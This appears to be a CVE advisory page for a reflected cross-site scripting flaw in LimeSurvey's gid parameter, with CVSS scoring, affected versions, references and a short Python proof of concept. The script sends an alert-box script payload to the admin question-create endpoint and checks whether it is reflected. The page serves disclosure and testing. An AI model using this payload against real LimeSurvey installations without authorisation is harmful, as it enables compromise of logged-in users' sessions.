CVE-2025-63238

Description

A Reflected Cross-Site Scripting (XSS) affects LimeSurvey versions prior to 6.15.11+250909, due to the lack of validation of gid parameter in getInstance() function in application/models/QuestionCreate.php. This allows an attacker to craft a malicious URL and compromise the logged in user.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:limesurvey:limesurvey:*:*:*:*:*:*:*:* - VULNERABLE

LimeSurvey < 6.15.11+250909

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2025-63238
# Affected Endpoint: /index.php?r=admin/question/sa/create
# Vulnerable Parameter: gid

import requests

target_url = "http://target-limesurvey.com/index.php"
# Malicious payload to demonstrate XSS (e.g., alert box)
payload = "<script>alert('CVE-2025-63238');</script>"

params = {
    "r": "admin/question/sa/create",
    "gid": payload
}

# Send request
response = requests.get(target_url, params=params)

# Check if payload is reflected in response
if payload in response.text:
    print("Vulnerability confirmed: XSS payload found in response.")
else:
    print("Vulnerability not detected or patched.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63238
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63238
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63238/
[4] VulDB https://vuldb.com/cve/CVE-2025-63238
[5] https://gist.github.com/masquerad3r/f913ab479e8de2ad71987ef98a088fb5
[6] https://github.com/LimeSurvey/LimeSurvey/commit/80769a677dc82ddb1fcced4af19bd959d583208d

Raw JSON Data

JSON

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